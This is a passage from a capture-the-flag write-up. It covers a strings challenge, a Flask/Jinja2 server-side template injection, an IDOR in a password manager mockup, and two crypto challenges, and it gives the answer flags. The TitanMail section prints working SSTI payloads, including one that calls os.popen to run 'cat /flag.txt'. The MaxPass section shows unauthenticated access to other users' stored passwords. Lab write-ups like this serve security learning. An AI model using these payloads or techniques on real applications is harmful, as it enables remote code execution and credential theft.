This one was extremely easy, just run strings stringtheory and parse through the results for the flag.

Answer: HTB{f4l1in9_thr0ug4_th3_wrmh0l3z!}; 300 points

88 MPH

When this baby hits 88 miles per hour, you're gonna see some serious - wait, somethings wrong! Can you fix the DeLorean's engine before it's too late?

88

Web

TitanMail

You are a security researcher hired by a company to perform a penetration test on their web application. During your analysis, you discover that the application allows users to have a custom subscribe template. Can you test it out?

web_titanmail

My first thought when I saw all the database code was that there was an SQL injection vulnerability, so I started looking into that. The two main functions, login and register, appeared to sanitize inputs properly, so I decided to register a user and get a better feel for the application.

Once I was in as my new user, I could see that the only page that has been implemented is the dashboard, which has a way to edit the subscription template for emails outbound to new users. I did see a place where the server actually reads a file, which could be an LFI vulnerability:

@api.route('/subscribe-template')
@isAuthenticated
def subscribeTemplate():
    templateFile = os.path.join(app.root_path, 'mail', 'subscribe.html')

    with open(templateFile, 'r') as file:
        template = file.read()
    
    return response(template)

But no part of the code allowed for user input, the path was static, so we can't use it. The actual code that is responsible for executing all the SQL queries is:

def queryDB(query, args=(), one=False):
    cursor = mysql.connection.cursor()
    cursor.execute(query, args)
    rv = [dict((cursor.description[idx][0], value)
        for idx, value in enumerate(row)) for row in cursor.fetchall()]
    return (rv[0] if rv else None) if one else rv

But unfortunately there is no place where the user is able to view data returned from queries, so even though that function is theoretically vulnerable to SQL injections, we can't use it. We do know that the flag is actually a file at /flag.txt though, so SQL shouldn't be our focus, we should focus on gaining RCE or LFI.

One interesting thought is using /api/subscribe-template/save to write to subscribe.html, then seeing the new contents via a call to /api/subscribe-template; however, I can't think of a way to get the contents of /flag.txt to write them to the HTML file in the first place, so this is likely a dead end.

Looking at the code for the /api/subscribe-template/preview route, I see a vulnerable-looking render_template_string call that could be used for things like XSS. But the server sets the CONFIRM_LINK variable, meaning we can't use that as an attacker to possibly execute Python code via SSTI. And since it isn't a call to render_template I can't use it to actually read a file, so this doesn't help us.

I decided to start small with templating stuff, since that's the only place I can possibly think of where the vulnerability would be. Turns out, when I use {{2 + 2}} in the template code, the output includes 4! I then tried the easy payload of {{open("/flag.txt")}} to see if that would give us the answer, but no such luck; the Jinja2 sandbox apparently restricts access to dangerous functions like that.

I tried crafting a creative sandbox escape that involved manipulating Python objects to gain access to higher-level functions like open, like I had to do in dicectf (Private), via the following:

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read() }}

This payload was supposed to work by taking the string object (''), retrieving its class via .__class__, getting the base object class through .__mro__[2], listing all its subclasses with .__subclasses__(), selecting the FileIO class (which is usually the 40th in the list but may vary), opening the /flag.txt file, and reading it. But unfortunately for us, this didn't work, and we got the generic pre-programmed error message response from the server of "Something Went Wrong!".

Next I tried using {{config.from_object('os')}}{{config.popen('cat /flag.txt').read()}}, which was supposed to load the OS module via Flask's config.from_object method, but this one was denied as well. When that didn't work, I tried a different approach via Flask's request object:

{{ request.application.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }}

This payload works by accessing the global scope through the request.application.__globals__ attribute and then using the __builtins__ to call the __import__ function. This is used to import the os module, and then we call os.popen to execute the command cat /flag.txt which reads the content of the flag file. And this one worked!

Answer: HTB{t3mpl4t35_c4n_vuln3r4bl3!!!}; 825 points

MaxPass Manager

You've been tasked with a pentesting engagement on a password manager platform, they've provided you with a mockup build of the website and they've asked you to find a way to login as "admin".

web_maxpass_manager

Whenever I initially created an account to get a feel for the site, this is the screen I was greeted with:

initial_page

I started by uploading the package.json to snyk to check if any of the packages were vulnerable, but there wasn't any low-hanging fruit there. I saw that when a user first logs in, a request is made with their UUID to get a list of their passwords from the server (/api/passwords/${user_uuid}). Whenever I checked my network logs to see where my request went out to, it indicated that my UUID is 144.

I tried visiting that URL in an incognito window to test if the server was checking for JWT authentication or not, and the request was successful! This means that if I can guess the UUID for the admin user, I can theoretically get access to their passwords, and password reuse might allow me to login to the site with one of them. First thing I tried was decrementing by one by visiting 143:

{"passwords":[{"id":6,"uuid":143,"type":"App","address":"Netflix","username":"alvinfisher1979","password":"efQKL2pJAWDM46L7","note":"Family Netflix"},{"id":7,"uuid":143,"type":"Web","address":"twitter.com","username":"alvinfisher1979","password":"7wYz9pbbaH3S64LG","note":"old twitter account"},{"id":8,"uuid":143,"type":"Email","address":"outlook.com","username":"alvinfisher1979@outlook.com","password":"jJGYu4j8tYakBY9u","note":"work mail"}]}

I tried the same thing with 142 and determined that every UUID likely had dummy user data, because that was more of the same:

{"passwords":[{"id":4,"uuid":142,"type":"Web","address":"office365.com","username":"ninaviola1","password":"OfficeSpace##1","note":"company email"},{"id":5,"uuid":142,"type":"Web","address":"facebook.com","username":"ninaviola91","password":"19911991#10","note":"throwaway fb"}]}

Opening up the DB file they provided shows us that the admin is UUID 73:

admin_uuid

So we can navigate to the web page and get their password:

{"passwords":[{"id":1,"uuid":73,"type":"Web","address":"maxpass-manager.infra","username":"admin","password":"RV2pGXQBf8eGlHF","note":"pre-prod test password"}]}

Answer: HTB{ID0R_PWN4G3!!}; 800 points

dInvoice

Our newest web service, "dInvoice", needs an inspection from you to unveil any critical vulnerabilities it might have that can lead to the compromise of the admin account!

web_dinvoice

pwn

shellbox

How many opcodes can you fit in such a tiny box?

pwn_shellbox

Crypto

Weak RSA

A rogue employe managed to steal a file from his work computer, he encrypted the file with RSA before he got apprehended. We only managed to recover the public key, can you help us decrypt this ciphertext?

This was a perfect use case for RsaCtfTool:

git clone https://github.com/RsaCtfTool/RsaCtfTool.git
sudo apt-get install libgmp3-dev libmpc-dev
cd RsaCtfTool
pip3 install -r "requirements.txt"
./RsaCtfTool.py --publickey ./pubkey.pem --uncipherfile ./flag.enc

Answer: HTB{b16_e_5m4ll_d_3qu4l5_w31n3r_4774ck}; 125 points

Secret Package

The enemy has shipped a package we must intercept but we are unaware of the drop location. They use custom encryption to communicate so we can't read the messages we were able to intercept. Can you help us?

I was able to use ChatGPT to create a decryption program to get the flag:

def decryption(ct):
    msg = []
    for char in ct:
        msg.append((inv_mod(123, 256) * (char - 18)) % 256)
    return bytes(msg).decode()

def inv_mod(a, m):
    # Extended Euclidean Algorithm to find the modular inverse
    m0, x0, x1 = m, 0, 1
    while a > 1:
        q = a // m
        m, a = a % m, m
        x0, x1 = x1 - q * x0, x0
    return x1 if x1 >= 0 else x1 + m0

ct_hex = open('./msg.enc', 'r').read()
ct = bytes.fromhex(ct_hex)
MSG = decryption(ct)
print(MSG)

This is the message:

Package on route. ETA 2 days. Location B Passcode: HTB{cu570m_3nc2yp710n_15_m34n7_70_83_820k3n!@}

Answer: HTB{cu570m_3nc2yp710n_15_m34n7_70_83_820k3n!@}; 550 points